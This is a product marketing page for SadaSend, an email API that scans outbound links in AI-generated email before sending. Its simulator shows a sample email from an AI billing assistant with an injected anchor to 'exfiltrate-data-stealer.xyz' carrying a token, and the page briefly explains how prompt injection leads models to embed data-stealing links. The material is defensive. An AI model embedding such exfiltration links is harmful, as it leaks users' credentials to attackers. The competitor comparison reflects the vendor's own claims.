Pre-Send Outbound Link Inspection & Anti-Phishing Defense
Autonomous agents can hallucinate non-existent domains, succumb to prompt injection exfiltration, or leak staging URLs. SadaSend inspects every outbound link in sub-15ms before email leaves the queue.
Concurrent DNS & domain reputation check.
Zero localhost or private network leaks.
Halts prompt injection link extraction.
Route suspicious domains to /app/approvals.
Live Outbound Link Scanner Simulator
Simulate how SadaSend inspects outbound email HTML before delivery. Select a scenario below to observe real-time URL parsing, DNS validation, and threat mitigation.
<p>Your requested financial report has been compiled by the AI billing assistant.</p> <p><a href="https://exfiltrate-data-stealer.xyz/token?leak=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9">Download Billing Export PDF</a></p> <p>Thank you for your business.</p>
An unauthorized external domain was injected into the anchor tag. SadaSend policy blocked the dispatch before transmission, preventing token exfiltration.
{
"ok": false,
"status": 422,
"error": "disallowed_link_detected",
"threatCategory": "Unverified External Domain / Indirect Prompt Injection Exfiltration",
"flaggedUrls": [
"https://exfiltrate-data-stealer.xyz/token?leak=eyJhbGciOi..."
],
"actionTaken": "dispatch_rejected_sub_15ms",
"securityScan": {
"latencyMs": 11,
"cached": true,
"riskScore": 98
}
}Four Levels of Pre-Send URL Protection
AI coding agents move fast. SadaSend layers automated defensive checkpoints directly into the transmission pipeline.
LLM Hallucination & Squatting Sentinel
Autonomous coding agents and chatbots often invent plausible-sounding URLs that do not exist or have been acquired by domain squatters. SadaSend validates DNS SOA and MX records prior to dispatch.
Prompt Injection Exfiltration Firewall
Malicious user prompts can coerce LLMs into embedding data-stealing links. SadaSend matches all outbound destinations against your organization domain allowlists.
Internal Host & Staging Leak Barrier
Prevents embarrassing test email accidents by detecting internal hostnames, localhost ports, and private RFC 1918 IPv4/IPv6 address blocks embedded in email HTML.
Redirect Chain & Cloaking Detection
Uncovers open redirects and cloaked destination URLs before recipients click them, protecting your domain deliverability and sender reputation from blacklisting.
Why Legacy Email Providers Expose You to AI Phishing
Postmark, Resend, and SendGrid were designed for human software engineers drafting static templates. They blindly deliver whatever HTML is dispatched.
| Provider | Pre-Send Inspection | Prompt Injection Defense | Hallucination Detection | Staging IP Block |
|---|---|---|---|---|
SadaSendPROTECTED | Built-in (Sub-15ms parallel DNS & HTTP scan) | Domain allowlists with 1-click hold queues | Automated DNS SOA & reputation lookup | Zero RFC 1918 / localhost leaks allowed |
Postmark (ActiveCampaign) | None (Blind message queuing) | None (Delivers raw payload) | None (Deliverability hit on dead links) | None (Sends raw localhost URLs) |
Resend | None (Blind React Email render) | None (No domain allowlist) | None (External tool required) | None (Delivers raw localhost links) |
SendGrid (Twilio) | Post-click redirect proxy only | None (Pre-send blind) | None (No pre-send validation) | None (Proxies dead links to 404) |
Configuring Link Scanner in Production
Configure URL validation policies globally in your API key dashboard or inline on individual email sends.
import { SadaSend } from 'sadasend';
const sadasend = new SadaSend({
apiKey: process.env.SADASEND_API_KEY!,
});
try {
const result = await sadasend.emails.send({
from: 'support@yourdomain.com',
to: 'customer@example.com',
subject: 'Your Account Summary',
html: '<p>Review your dashboard: <a href="https://yourdomain.com/overview">Click here</a></p>',
security: {
linkScanner: {
policy: 'block', // 'block' | 'hold' | 'audit'
allowedDomains: ['yourdomain.com', 'help.yourdomain.com'],
blockPrivateIps: true,
verifyDnsResolution: true,
},
},
});
console.log('Email dispatched successfully:', result.id);
} catch (error) {
if (error.code === 'disallowed_link_detected') {
console.error('Link Scanner intercepted unsafe URL:', error.details.flaggedUrls);
}
}Frequently Asked Questions
Deploy AI email agents with zero phishing exposure
Start with 6,000 free emails every month. Protect your sender domain from prompt injection and hallucinated links with sub-15ms pre-send scanning.